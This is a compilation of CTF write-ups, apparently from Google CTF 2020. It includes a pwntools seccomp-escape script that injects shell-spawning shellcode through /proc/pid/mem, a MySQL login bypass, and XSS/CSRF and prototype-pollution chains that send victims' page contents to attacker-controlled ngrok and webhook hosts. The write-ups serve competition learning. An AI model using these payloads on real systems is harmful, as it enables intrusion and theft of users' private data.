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# Writeonly ### Sandbox - EasyStatically linked binary - it mmaps a RWX region, reads the length of shellcode from us, then reads that much data from stdin into the mmaped region. It then installs some strict seccomp and executes our shellcode. The goal is to read a file - /home/user/flag. However. read is BANNED. In fact, this seccomp is a whitelist not a blacklist, and few useful things are allowed. For our purposes, we'll use open, lseek and write.
First, the binary forks. The child process does some sort of loop in which it continuously reads 4 bytes out of /home/user/flag and checks it against `CTF{`.The parent reads the shellcode, installs seccomp and runs the shellcode. Since the seccomp is done after forking, the child does not inherit seccomp. This means we can begin to hijack the memory of the child from the parent in our shellcode, and force the child to do things that we cannot. The binary prints the PID of the child, so we can use `/proc/<pid>/mem`. 1. Build `"/proc/<pid>/mem"` on the stack using push and mov 2. `open` this file 3. `lseek` it so that we can write to the `read` function of the child process 4. Build shell popping shellcode on the stack 5. `write` shell popping shellcode to the `read()` function6. To prevent the parent process exiting before the shell has time to pop, use `jmp $` to continually jump to the current RIP, keeping it alive7. This works, and a shell is popped. From there, we cat flag to get the flag. ```pyfrom pwn import *context.arch = 'amd64'e = ELF("./chal")p = e.process() if args.LOCAL else remote('writeonly.2020.ctfcompetition.com', 1337)p.recvuntil("[DEBUG] child pid: ")pid = int(p.recvline())p.clean()filename = f"/proc/{pid}/mem".encode()filename = filename.ljust(16,b'\x00')code = ""for i in range(0,len(filename),8): num = hex(u64(filename[i:i+8])) code = f"mov rbx,{num} ; push rbx ; " + codecode += "mov rbx,rsp ; mov rdi,rbx ; mov rax,2 ; mov rsi,0x2 ; syscall ; mov r9,rax ; mov rdi,rax ; mov rsi, 0x44fce8 ; mov rdx,0 ; mov rax,0x8 ; syscall; " malcode = b"/bin/sh\x00" + asm("mov rdi, 0x44fce8 ; mov rsi,0 ; mov rdx,0 ; mov rax,0x3b ; syscall") malcode = malcode.ljust(40,b'\x00')newcode = "" for i in range(0,len(malcode),8): num = hex(u64(malcode[i:i+8])) newcode = f"mov rbx,{num} ; push rbx ; " + newcodecode += newcodecode += "mov rdi,r9 ; mov rsi,rsp ; mov rdx,0x28 ; mov rax,0x1 ; syscall ; jmp $"print(code)shellcode = asm(code)p.sendline(str(len(shellcode)))p.sendline(shellcode)p.interactive()```#### CTF{why_read_when_you_can_write} |
# Basics### Hardware - EasyFor this challenge, we are provided with a short Verilog program, and a C++ wrapper for it using the Verilator library. Verilog is a language that is used to describe hardware and abstract it into a program.`check.sv````module check( input clk, input [6:0] data, output wire open_safe);
reg [6:0] memory [7:0];reg [2:0] idx = 0;
wire [55:0] magic = { {memory[0], memory[5]}, {memory[6], memory[2]}, {memory[4], memory[3]}, {memory[7], memory[1]}};
wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] };assign open_safe = kittens == 56'd3008192072309708;
always_ff @(posedge clk) begin memory[idx] <= data; idx <= idx + 5; for(int i = 0; i < 8; i = i+1) begin $write("%b ", memory[i]); endend
endmodule```This was my first time using Verilog, so most of the challenge involved learning the syntax. The C++ wrapper program essentially reads in one character at a time, up to 100, then runs the open_safe routine and checks its result. I realized it was likely a password checker, with our input being transformed in some way to result (if correct) in a 56 bit decimal (`3008192072309708`). If it reached this, we are sent the flag. Here's my understanding of the verilog.```Create an array of 8 x 7 bit fields (named memory)Define a 7 bit input 'data'Define a 56 bit array 'magic'Read in a single 7 bit character, place it at memory[idx], then increase idx by 5. As idx is is a 3 bit field, this results in an overflow that shuffles the input orderThe contents of memory is then shuffled in a fairly simple fashion into magicThe 56 bit wire 'kittens' is defined and filled with data from magic in a non-linear order```I initially attempted to manually step back from the final expected bits, but my unfamiliarity with Verilog syntax and conventions led to a different result every time. At this point, I decided to invest time into installing Verilator, allowing me to build the binary for myself; which would be needed to check my flag. The largest advantage though was the ability to add debugging statements in.``` $display("magic : %b", magic); $display("kit : %b", kittens); $display("Goal: %b", 56'd3008192072309708);```Using this, I could see how my data was transformed. I sent test pieces of data, starting at `0b0000001`, and doing a binary shift left each iteration; this was to give me recognisable patterns to work from.
We were able to get the states of the memory, magic and kittens arrays after entering each character.
From here, we can just manually work out where all the bits are after getting a test case:
`dddfffffffgggggggccccccceeeeeeehhhhhhhddddaaaaaaabbbbbbb`
Then, we can use this on our compare string to get the binary we want:
`00110111 01001100 01101111 01011000 00100101 00101010 01011111 1111000 (converted to 8-bit)`
And then simply decode this to get the password `7LoX%*_x`, which we enter on the remote to get the flag!
#### Flag: `CTF{W4sTh4tASan1tyCh3ck?}` |
In this challenge, you connect to a server and can ask for RSA keys to be generated along with encrypted copies of the flag. The primes used in the keys are generated in a way that causes them to only have a small number of bits set to 1.
The public mudulus can be factored by exploiting this property in combination with a Hensel lift. Details in the writeup. |
# Rootpower
Solved by cts
They give you a vm image and you need to figure out the root login. First thing I did was mount the fs image.
**A REALLY USEFUL CTF TRICK WHENEVER YOU HAVE A VM IMAGE IS TO LOOK FOR THE MOST RECENTLY MODIFIED FILES, THIS IS USUALLY THE PART OF THE OS THAT THE CHALLENGE AUTHOR CHANGED TO MAKE THE CHALLENGE.** Obviously this stupid trick is totally useless in "real life" but in ctfs this has solved me dozens of challenges Megajoy.
`find mnt/ -newermt $(date +%Y-%m-%d -d 'July 1') -type f -print > interesting.txt`
Basically none of these files are interesting except `mnt/boot/initramfs-linux.img`
So they fucked with the kernel image, let's see what's up with that?
```# file initramfs-linux.imginitramfs-linux.img: ASCII cpio archive (SVR4 with no CRC)# cpio -id < ../_initramfs-linux.img# ls kernel/firmware/acpi/ssdt.amlkernel/firmware/acpi/ssdt.aml```
So we have ssdt.aml, at this point, i ask my roommate who is a OSdev nerd what is this? Basically ssdt.aml is this apci shit that lets you do some overrides for the acpi device tree, you can declare your own devices. Essentially this acpi shit is a virtual machine bytecode, and the operating system must implement the interpreter for this vm to properly do the acpi thing when enumerating the devices or whatever? We were joking about making this into a horrible ctf challenge a few weeks ago, then these mad lads actually did it. absolutely kino.
Anyways he told me to use thi tool "maciASL" to decompile this.
Basically the code is self explanatory after i annotated it. It just checks the keyboard input against a hardcoded sequence of scan codes
```// https://wiki.osdev.org/PS/2_Keyboard// https://wiki.osdev.org/%228042%22_PS/2_Controller// https://www.kernel.org/doc/html/latest/admin-guide/acpi/ssdt-overlays.html// https://uefi.org/sites/default/files/resources/ACPI_6_3_final_Jan30.pdf// https://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Heasman.pdf/*root@hax:~/vm/mnt# cat /proc/ioports0000-0cf7 : PCI Bus 0000:00 0000-001f : dma1 0020-0021 : pic1 0040-0043 : timer0 0050-0053 : timer1 0060-0060 : keyboard 0064-0064 : keyboard*/
/* * Intel ACPI Component Architecture * AML/ASL+ Disassembler version 20200110 (64-bit version) * Copyright (c) 2000 - 2020 Intel Corporation * * Disassembling to symbolic ASL+ operators * * Disassembly of iASLxaMYbT.aml, Sat Aug 22 21:54:49 2020 * * Original Table Header: * Signature "SSDT" * Length 0x000001FD (509) * Revision 0x02 * Checksum 0xF6 * OEM ID "" * OEM Table ID "" * OEM Revision 0x00000000 (0) * Compiler ID "INTL" * Compiler Version 0x20190509 (538510601) */DefinitionBlock ("", "SSDT", 2, "", "", 0x00000000){ Device (CHCK) { Name (_HID, "CHCK0001") // _HID: Hardware ID Name (_CID, Package (0x02) // _CID: Compatible ID { "CHCK0001", "CHCK" })
// OperationRegion (RegionName, RegionSpace, Offset, Length) OperationRegion (KBDD, SystemIO, 0x60, One) // I/O port 0x60 (keyboard data) OperationRegion (KBDC, SystemIO, 0x64, One) // I/O port 0x64 (keyboard control) Field (KBDD, ByteAcc, NoLock, Preserve) // keyboard data register { DTAR, 8 }
Field (KBDC, ByteAcc, NoLock, Preserve) // keyboard command/status register { CSTR, 8 }
// "goal" buffer Name (KBDA, Buffer (0x3E) { /* 0000 */ 0x2A, 0x2E, 0xAE, 0x14, 0x94, 0x21, 0xA1, 0x1A, // *....!.. /* 0008 */ 0x9A, 0xAA, 0x1E, 0x9E, 0x2E, 0xAE, 0x19, 0x99, // ........ /* 0010 */ 0x17, 0x97, 0x2A, 0x0C, 0x8C, 0xAA, 0x32, 0xB2, // ..*...2. /* 0018 */ 0x1E, 0x9E, 0x2E, 0xAE, 0x23, 0xA3, 0x17, 0x97, // ....#... /* 0020 */ 0x31, 0xB1, 0x12, 0x92, 0x2A, 0x0C, 0x8C, 0xAA, // 1...*... /* 0028 */ 0x26, 0xA6, 0x1E, 0x9E, 0x31, 0xB1, 0x22, 0xA2, // &...1.". /* 0030 */ 0x16, 0x96, 0x1E, 0x9E, 0x22, 0xA2, 0x12, 0x92, // ...."... /* 0038 */ 0x2A, 0x1B, 0x9B, 0xAA, 0x1C, 0x9C // *..... })
// input buffer Name (KBDB, Buffer (0x3E){})
// Status Register Bit 1 // Input buffer status (0 = empty, 1 = full) // (must be clear before attempting to write data to IO port 0x60 or IO port 0x64) // Basically wait until input buffer not full // wait for cmd? Method (WCMD, 0, NotSerialized) { Local0 = One While ((Local0 == One)) { Local0 = CSTR /* \CHCK.CSTR */ Local0 >>= One Local0 &= One } }
// Status Register Bit 0 // wait for data // Output buffer status (0 = empty, 1 = full) // (must be set before attempting to read data from IO port 0x60) Method (WDTA, 0, NotSerialized) { Local0 = Zero While ((Local0 == Zero)) { Local0 = CSTR /* \CHCK.CSTR */ Local0 &= One } }
// flush data Method (CLRD, 0, NotSerialized) { // while there is data, read from data Local0 = CSTR /* \CHCK.CSTR */ Local0 &= One While ((Local0 == One)) { Local1 = DTAR /* \CHCK.DTAR */ Local0 = CSTR /* \CHCK.CSTR */ Local0 &= One } }
// disable interrupt Method (DINT, 0, NotSerialized) { // bit 2 and bit 6 // System Flag (1 = system passed POST, 0 = your OS shouldn't be running) // First PS/2 port translation (1 = enabled, 0 = disabled) Local0 = 0x44 WCMD () CSTR = 0x60 // Write next byte to "byte 0" of internal RAM (Controller Configuration Byte, see below) WCMD () DTAR = Local0 }
// enable interrupt Method (EINT, 0, NotSerialized) { // bit 0,1,2 and bit 6 and bit // First PS/2 port interrupt (1 = enabled, 0 = disabled) // Second PS/2 port interrupt (1 = enabled, 0 = disabled, only if 2 PS/2 ports supported) // System Flag (1 = system passed POST, 0 = your OS shouldn't be running) Local0 = 0x47 WCMD () CSTR = 0x60 WCMD () DTAR = Local0 }
// Check? Method (CHCK, 0, NotSerialized) { DINT () // disable PS/2 interrupts CLRD () // flush keyboard data buffer
// To poll, wait until bit 0 of the Status Register becomes set, then read the received byte of data from IO Port 0x60. WDTA () // wait for data Local0 = DTAR /* \CHCK.DTAR */
// 0x9C enter released If ((Local0 == 0x9C)) { // Read again WDTA () Local0 = DTAR /* \CHCK.DTAR */ }
Local1 = Zero
// Translate right shift to left shift // 0x36 right shift pressed If ((Local0 == 0x36)) { // 0x2A left shift pressed Local0 = 0x2A }
// write into input buffer KBDB [Local1] = Local0 Local1 += One
// read until return While ((Local0 != 0x9C)) { WDTA () Local0 = DTAR /* \CHCK.DTAR */ If ((Local0 == 0x36)) { // translate right to left shift press Local0 = 0x2A }
If ((Local0 == 0xB6)) { // translate right to left shift release Local0 = 0xAA }
If ((Local1 < 0x3E)) { KBDB [Local1] = Local0 Local1 += One } }
// enable interrupt EINT ()
// compare buffers If ((KBDA == KBDB)) { Return (One) }
Return (Zero) } }}
```
Then i wrote a quick win32 c program to turn the scan codes into the flag chars (`based.c`) since i was too lazy to manually read the table on osdev wiki
`CTF{acpi_machine_language}` |
tldr: lots of patching to convert calls and `__cxa_throw` calls. City data is stored in an array, you can collide this with the operation stack during a compute_time call and corrupt an object. Cities are stored as a sorted binary tree and you can get it to treat the flag data as a city and then leak this information.
Full writeup: [https://ctf.harrisongreen.me/2020/googlectf/exceptional/](https://ctf.harrisongreen.me/2020/googlectf/exceptional/) |
# Complex to Hell Writeup
### Crypto CTF 2020 - Crypto 285 - 11 solves
> I Already Know I'm Going to [Hell](./complex_to_hell_e5f781f7dc1fb5f010a31d92547feb21a6f28fa5.txz)
> At This Point, It's Really Go Big Or Go Home!
#### Encryption logic
Flag is encoded using `plain_to_matrix()` function, stored by `2 * n` matrix. Then it is left multiplied to `2 * 2` key matrix. Every matrix elements are complex numbers, each real and complex parts are in range of `66 = len(mapstr)`
#### Exploit
I can bruteforce key matrix row by row. Each row has key space `66 ** 4 ~= 2 ** 25` so feasible. We need flag oracle for choose the real decrypted flag.
1. 1st row: `[key11, key12]` - Guessed that flag must start with string `CCTF`. - `key11 = 18 + 25j, key12 = 34 + 14j` - Recovered partial flag: `CCTF{This_0n3_Is_State_0f_th3_4rt_`2. 2nd row: `[key21, key22]` - It was so tricky to find the correct plaintext. - I scrutinized `plain_to_matrix()` function. It seemed to add zero valued elements for padding. - Guessed that flag ends with `000`. - `key21 = 39 + 19j, key22 = 34 + 19j` - Recovered partial flag with padding: `and_C0mplex_is_Truly_compl3x!!}00`
Total Complexity: `O(2 * 2 ** 25) = O(2 ** 26)`. Concat two plaintext chunks and rstrip zero padding.
I get flag:
```CCTF{This_0n3_Is_State_0f_th3_4rt_and_C0mplex_is_Truly_compl3x!!}```
Exploit code: [solve.py](solve.py) with [config.py](config.py) |
tldr;- primes are generated in 64 bit chunks using an LCG- one of the chunks can be easily recovered- recover all chunks by reversing the LCG
[writeup](https://jsur.in/posts/2020-08-24-googlectf-2020-writeups#chunk-norris) |
# LOG-ME-IN*Solution and write-up by team [Kalmarunionen](https://capturetheflag.withgoogle.com/scoreboard/kalmarunionen).*
This challenge exploits the fact that we can send an array which when parsed makes the MySQL server execute a query similar to the following:```SELECT * FROM users WHERE username='michelle' AND password=`password`='1'```
Hence payload for the request is simply: `username=michelle&password[password]=1&csrf=`
Exploit:```await fetch("https://log-me-in.web.ctfcompetition.com/login", { "credentials": "include", "headers": { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "Pragma": "no-cache", "Cache-Control": "no-cache" }, "referrer": "https://log-me-in.web.ctfcompetition.com/login", "body": "username=michelle&password[password]=1&csrf=", "method": "POST", "mode": "cors"});```
After logging in, it is easy to just go and grab the flag.
Flag: `CTF{a-premium-effort-deserves-a-premium-flag}` |
This was a fun and in the end straitforward challenge, where a funky RSA-like cryptosystem that uses a modulus which is the product of 4 primes generated in an interesting way.
The public key includes one of the four prime factors of the modulus, and the flag is encrypted without padding so this factor alone can be used to decrrypt the flag. |
# TECH SUPPORT - 90 solves
## Story
Try chatting with tech support about getting a flag.
## Solution
The challenge has 8 routes: * `/`* `/me`* `/flag`* `/logout`* `/login`* `/about`* `/chat`* `/register`
Flag is at `/flag` route and only the chat support user has access to the flag.
### Part 1 - XSS in chat window
There is chat functionality on website that lets you to chat with support user. To start chat you can request chat with a reason and the reason request is vulnerable to xss.
However the XSS will trigger on an iframe which is on another domain `typeselfsub-support.web.ctfcompetition.com` and we are unable to access parent window directly due to [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)
### Part 2 - SELF XSS in `/me` route
We can set address for our profile and it's also vulnerable to XSS. However we are not sure if admin has this functionality or not.
### Part 3 - CSRF in `/login` route
There are no csrf protection in `/login` route so we can login anybody to our controlled accout with CSRF.
> Session cookies same-site attribute is set to `none` So we can easily perform CSRF.
### Part 4 - The fact about frames
Consider this situation, `website-1` opens 2 frames to `website-2`. The html code would be something like this:
```html
<body> <iframe src="//site2.com/page1.html"> </iframe> <iframe src="//site2.com/page2.html"> </iframe></body>```
now in `//site2.com/page2.html` we can access `//site2.com/page1.html` dom with this code:
```html<body><script>let dom = window.top.frames[0].document</script></body>```
### Part 5 - Chainging all together
I used [webhook.site](https://webhook.site) which is free to host my payload but you can solve this without hosting the payload anywhere but you will need to do some changes to payload.
First we need to put a xss payload in our profile page that steals flag page's body. I used this:
`<script>fetch('https://yourwebsite/?a='+encodeURIComponent(btoa(FLAGFRAME.document.body.innerHTML)))</script>`
In my payload, the `FLAGFRAME` is `top.frames[0].frames[0].frames[0]`
Now we have to construct our payload.First we open frame to flag so we can access to it later.
```html<iframe id="flag" src="https://typeselfsub.web.ctfcompetition.com/flag"></iframe> ```Then we open frame to perform CSRF to login with our login credentials.```html<iframe id="login" srcdoc=' <form action="https://typeselfsub.web.ctfcompetition.com/login" name="fa" method="POST"> <input name="username" value="USERNAME"> <input name="password" value="PASSWORD"> <input name="csrf"> </form> '></iframe> ```And finally the JS```<script> flag.onload=function(){ login.contentWindow.document.forms[0].submit(); } </script> ```
You can find final payload at `index.html`
### Part 6 - Get flag
To get the flag, We send iframe to embed our payload.
```<iframe src="//hosting.com/payload_index.html"></iframe>```
Then you will receive flag page's body in base64 format.
> Flag: CTF{self-xss?-that-isn't-a-problem-right...} |
tldr: trace instructions and build CFG, realize it looks like the AVR bootloader and leak the full program. There is a stack overflow in get_int function and we can jump into the flash subroutine to leak the flag
full writeup: [https://ctf.harrisongreen.me/2020/googlectf/registers_matter/](https://ctf.harrisongreen.me/2020/googlectf/registers_matter/) |
This was a task in which we had to try and capture the flag based on a recovery code which needed to be reversed.
In this situation we were given a simple ELF binary which we had to reverse - check out my original writeup for the walkthrough. |
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# All The Little Things
The description is as follows:
```htmlI left a little secret in a note, but it's private, private is safe.
Note: TJMike? from Pasteurize is also logged into the page.
https://littlethings.web.ctfcompetition.com```
Read my [pasteurize write-up](https://github.com/zoeyg/public-write-ups/blob/master/googlectf-2020/pasteurize.md) before this one, as this write-up relies on the injection used in pasteurization. See the github link for the most up to date version of this write-up.
## Enumeration
The site is similar to pasteurize, but has a login system, and a list of notes are stored. There's also a `/settings` page where you can modify your name,profile picture link, and theme. The site has a content security policy:
```content-security-policy: default-src 'none';script-src 'self' 'nonce-b00149201d92096b';img-src https: http:;connect-src 'self';style-src 'self';base-uri 'none';form-action 'self';font-src https://fonts.googleapis.com```
### Settings
At the bottom of the page is a comment ``. When we add it to the page's URL, an extra Debug textarea shows up, and an additionaldebug.js source file is loaded. The update button sets `window.name` to the value in the textarea.
### Page Init
Various scripts are included in every page, and do some initialization on page load.
#### utils.js
`utils.js` has an event handler for `DOMContentLoaded` that makes a request to `/me`, which is a route that returns some JSON information about the user:
```{"username":"zoey","img":"https://7713b3ef1338.ngrok.io/cloud.jpg","theme":{"cb":"set_dark_theme","options":{},"choice":2}}```
#### user.js
That parsed JSON is then passed to `make_user_object` which creates a new `User` class object that has private values and no setters for properties on it.
```jsclass User { #username; #theme; #img constructor(username, img, theme) { this.#username = username this.#theme = theme this.#img = img } get username() { return this.#username }
get img() { return this.#img }
get theme() { return this.#theme }
toString() { return `user_${this.#username}` }}
function make_user_object(obj) {
const user = new User(obj.username, obj.img, obj.theme); window.load_debug?.(user);
// make sure to not override anything if (!is_undefined(document[user.toString()])) { return false; } document.getElementById('profile-picture').src=user.img; window.USERNAME = user.toString(); document[window.USERNAME] = user; update_theme();}```
#### debug.js
This file is included by the server if `__debug__` is defined in the query string. `make_user_object` calls `load_debug` defined in `debug.js`, which calls `JSON.parse` on `window.name` and then uses the resultingvalue to extend the user object.
```js// Extend user objectfunction load_debug(user) { let debug; try { debug = JSON.parse(window.name); } catch (e) { return; }
if (debug instanceof Object) { Object.assign(user, debug); }
if(user.verbose){ console.log(user); }
if(user.showAll){ document.querySelectorAll('*').forEach(e=>e.classList.add('display-block')); }
if(user.keepDebug){ document.querySelectorAll('a').forEach(e=>e.href=append_debug(e.href)); }else{ document.querySelectorAll('a').forEach(e=>e.href=remove_debug(e.href)); }
window.onerror = e =>alert(e);}```
#### theme.js
After the debug script, the theme is loaded via `update_theme` and a request to the `/theme?cb=set_dark_theme` route is made, which is a JSONP-like endpoint. Thecode:
```jsfunction set_dark_theme(obj) { const theme_url = "/static/styles/bootstrap_dark.css"; document.querySelector('#bootstrap-link').href = theme_url; localStorage['theme'] = theme_url;}
//...
function update_theme() { const theme = document[USERNAME].theme; const s = document.createElement('script'); s.src = `/theme?cb=${theme.cb}`; document.head.appendChild(s);}```
### /theme
A request to `/theme?cb=set_dark_theme` returns the following
```jsset_dark_theme({"version":"b1.13.7","timestamp":1598252951983})```
Doing some testing, it seems that the route supports the following regex for the callback name: `[A-Za-z0-9_.=]`. This should allow us to call a single function,and then set at least one value to another. This seems like a good place to start. Lets try and override this callback value.
## Overriding the theme callback
Trying to modify the `POST /settings` route request values didn't yield any results, but the debug script allows us to extend the user object. After some experimentation, welearn that if the first part of the `window.name` JSON is a value for `__proto__`, then lack of a setter on the `User` class no longer prevents us from adding our own theme object.To test, open up `/settings?__debug__` and set `window.name` via the form or in the console. Then refresh the page to start the initialization sequence. Thefollowing payload allows us to override the callback:
```json{ "__proto__": {}, "theme": { "cb": "alert" }}```
If everything went properly, you should get an alert with `[object Object]`.
## Abusing the callback
We now have the ability to set one value to another. We can control things like `window.name`, `location.hash`, and `location.search`, and if we append`toString` we can successfully assign an almost arbitrary string to what we want, since `toString` will just ignore the theme object, returning theunaltered string. This should allow us to set arbitrary HTML with the following payload:
```json{ "__proto__": {}, "theme": { "cb": "document.body.innerHTML=window.name.toString" }, "htmlGoesHere": "<h1>Hi!</h1>"}```
Setting `window.name` to the above should result in removing most of the page content and replacing it with the payload, so we now have arbitrary HTML injection.Unfortunately, due to the content security policy, we can't do the traditional `` or use a `<script>` tag, because those aren'texecuted when inserted via `innerHTML`.
## Multiple callbacks
After a *long* chain of trial and error, we came to a solution that allowed us to chain multiple callbacks. An `<iframe>` with a `srcdoc` attributeallowed us to bypass the `innerHTML` `<script>` tag restriction that prevents execution, allowing for including multiple `/theme?cb=...` scripts. Thisalso works because scripts loaded inside `srcdoc` are able to access the outer window contents via `window.top`.
```json{ "__proto__":{}, "theme":{ "cb":"document.body.innerHTML=window.name.toString" }, "htmlGoesHere": "<iframe srcdoc='<script src=/theme?cb=window.top.document.body.innerHTML=window.top.location.search.toString></script>'>"}```
The above payload should result in the contents of the page being changed to just `?__debug__` if run on the `/settings?__debug__` route.
## Exfiltration
We considered trying to setup our own script tag since we could retrieve and set the nonce now, but decided to go with an idea that allowed us to concatenate thetext on the page with the url of a server we owned, and then make a request to it. This method should work even in the case of a more strict content security policythat utilizes hashes instead of nonces.
### Concatenation
We realized we could concatenate two values via `innerText` with HTML similar to the following:
```html<form id='concat'> https://url.of.our.server/? <div>value_to_concat</div></form>```
Then `window.concat.innerText` would be `https://url.of.our.server/?value_to_concat`.
### Putting it all together
Now all that was left was to craft the payload, test it and send it to the admin(TJMike). We crafted a payload that would send us the full `innerText` of the `/note` page:
```json{ "__proto__":{}, "theme":{ "cb":"document.body.firstElementChild.innerHTML=window.name.toString" }, "payload":[ "<form id='concat'>https://0b7660a35154.ngrok.io/?<div></div></form>", "<iframe srcdoc='<script src=/theme?cb=window.top.concat.firstElementChild.innerText=window.top.document.body.innerText.toString></script>'></iframe>", "<iframe srcdoc='<script src=/theme?cb=window.top.location.href=window.top.concat.innerText.toString></script>'></iframe>" ]}```
In order, this payload should overwrite the contents of the `<nav>` element on the page with our arbitrary HTML containing the two additional script tags which resultin callback executions. The first grabs the `innerText` of the whole page, and places it in our concatenation `<div>` we added. The second callback retrieves the`innerText` of the `concat` form which should be our URL plus the text of the page, and then sets the browser location to make the request. Weshould then be able to grab the contents of the page by looking at the request sent to our local http server. Testing it on our own browser, we find that it works, though it sometimes fails due to the response times from the server and the script loading order. The failures might be able to be mitigated byadding in some extra script or image tags, maxing out the concurrent requests of the browser, making the load order more predictable for the scripts and callbacks wecare about.
### Getting The Note GUID
Lets incorporate our payload into the exploit for the previous pasteurization challenge. We'll need to set `window.name`(since it persists across pages) and then change the `location.href` value to the `littlethings.web.ctfcompetition.com` page we want the text of. If you remember, certain characters are escaped, so lets base64 encode the JSON string. Don't forget to url encode as well so `+` doesn't end up as a space.
```sh╭─zoey@virtual-parrot ~/dev/public-write-ups ‹master*› ╰─$ curl 'https://pasteurize.web.ctfcompetition.com/' --data-raw 'content[]=;window.name=atob(`eyJfX3Byb3RvX18iOiB7fSwidGhlbWUiOiB7ImNiIjogImRvY3VtZW50LmJvZHkuZmlyc3RFbGVtZW50Q2hpbGQuaW5uZXJIVE1MPXdpbmRvdy5uYW1lLnRvU3RyaW5nIn0sImltZyI6ICIvIiwicGF5bG9hZCI6IFsiPGZvcm0gaWQ9J2NvbmNhdCc%2BaHR0cHM6Ly9jOGI1Y2ZiNzcxYTUubmdyb2suaW8vPzxkaXY%2BPC9kaXY%2BPC9mb3JtPiIsIjxpZnJhbWUgc3JjZG9jPSc8c2NyaXB0IHNyYz0vdGhlbWU%2FY2I9d2luZG93LnRvcC5jb25jYXQuZmlyc3RFbGVtZW50Q2hpbGQuaW5uZXJUZXh0PXdpbmRvdy50b3AuZG9jdW1lbnQuYm9keS5pbm5lclRleHQudG9TdHJpbmc%2BPC9zY3JpcHQ%2BJz48L2lmcmFtZT4iLCI8aWZyYW1lIHNyY2RvYz0nPHNjcmlwdCBzcmM9L3RoZW1lP2NiPXdpbmRvdy50b3AubG9jYXRpb24uaHJlZj13aW5kb3cudG9wLmNvbmNhdC5pbm5lclRleHQudG9TdHJpbmc%2BPC9zY3JpcHQ%2BJz48L2lmcmFtZT4iXX0%3D`);if(navigator.userAgent.includes(`Headless`))location.href=`https://littlethings.web.ctfcompetition.com/note?__debug__`;//'Found. Redirecting to /1a092148-9b81-40ea-8878-e885067efb98```
The use of recaptcha means we need to use the browser to submit to the admin, so we added a check against `navigator.userAgent`, which results in the location change only happening on the admin's browser(it's a headless version of chrome). That should allow us to be able to easily click the report button instead of the browser redirecting nearly instantly. So now all thats left is to visit the page of our public note created with the above command, and click `share with TJMike`. Of course you'll also need a server to receive the exfiltrated data. We end up with the following request on our server:
```httpGET /?{%22__proto__%22:%20{},%22theme%22:%20{%22cb%22:%20%22document.body.firstElementChild.innerHTML=window.name.toString%22},%22img%22:%20%22/%22,%22payload%22:%20[%22https://c8b5cfb771a5.ngrok.io/?%22,%22%22,%22%22]}Your%20notes22f23db6-a432-408b-a3e9-40fe258d500ff65ee90c-a06f-4055-ac8a-f2416005479bCreate%20new%20noteNote:%20Visibility:privatepublicHost: c8b5cfb771a5.ngrok.ioPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://littlethings.web.ctfcompetition.com/note?__debug__Accept-Encoding: gzip, deflate, brX-Forwarded-Proto: httpsX-Forwarded-For: 104.155.55.51```
So `22f23db6-a432-408b-a3e9-40fe258d500f` is the private note GUID.
### Get the contents of the private note
Now all we should have to do is change the url in our payload, and we should get the contents of the private note.
```sh╭─zoey@virtual-parrot ~ ╰─$ curl 'https://pasteurize.web.ctfcompetition.com/' --data-raw 'content[]=;window.name=atob(`eyJfX3Byb3RvX18iOiB7fSwidGhlbWUiOiB7ImNiIjogImRvY3VtZW50LmJvZHkuZmlyc3RFbGVtZW50Q2hpbGQuaW5uZXJIVE1MPXdpbmRvdy5uYW1lLnRvU3RyaW5nIn0sImltZyI6ICIvIiwicGF5bG9hZCI6IFsiPGZvcm0gaWQ9J2NvbmNhdCc%2BaHR0cHM6Ly9jOGI1Y2ZiNzcxYTUubmdyb2suaW8vPzxkaXY%2BPC9kaXY%2BPC9mb3JtPiIsIjxpZnJhbWUgc3JjZG9jPSc8c2NyaXB0IHNyYz0vdGhlbWU%2FY2I9d2luZG93LnRvcC5jb25jYXQuZmlyc3RFbGVtZW50Q2hpbGQuaW5uZXJUZXh0PXdpbmRvdy50b3AuZG9jdW1lbnQuYm9keS5pbm5lclRleHQudG9TdHJpbmc%2BPC9zY3JpcHQ%2BJz48L2lmcmFtZT4iLCI8aWZyYW1lIHNyY2RvYz0nPHNjcmlwdCBzcmM9L3RoZW1lP2NiPXdpbmRvdy50b3AubG9jYXRpb24uaHJlZj13aW5kb3cudG9wLmNvbmNhdC5pbm5lclRleHQudG9TdHJpbmc%2BPC9zY3JpcHQ%2BJz48L2lmcmFtZT4iXX0%3D`);if(navigator.userAgent.includes(`Headless`))location.href=`https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?__debug__`;//'Found. Redirecting to /8d52d02b-e4ff-4939-8a42-096d1d46e295```
Now lets visit the note we created at `https://pasteurize.web.ctfcompetition.com/8d52d02b-e4ff-4939-8a42-096d1d46e295` and report our payload to TJMike. It might take a few tries for the timings of the callbacks to line up properly. If done right, your http server should get a request similar to the following
